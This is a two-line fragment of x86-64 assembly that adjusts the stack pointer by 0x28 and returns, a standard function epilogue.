add rsp, 0x28
ret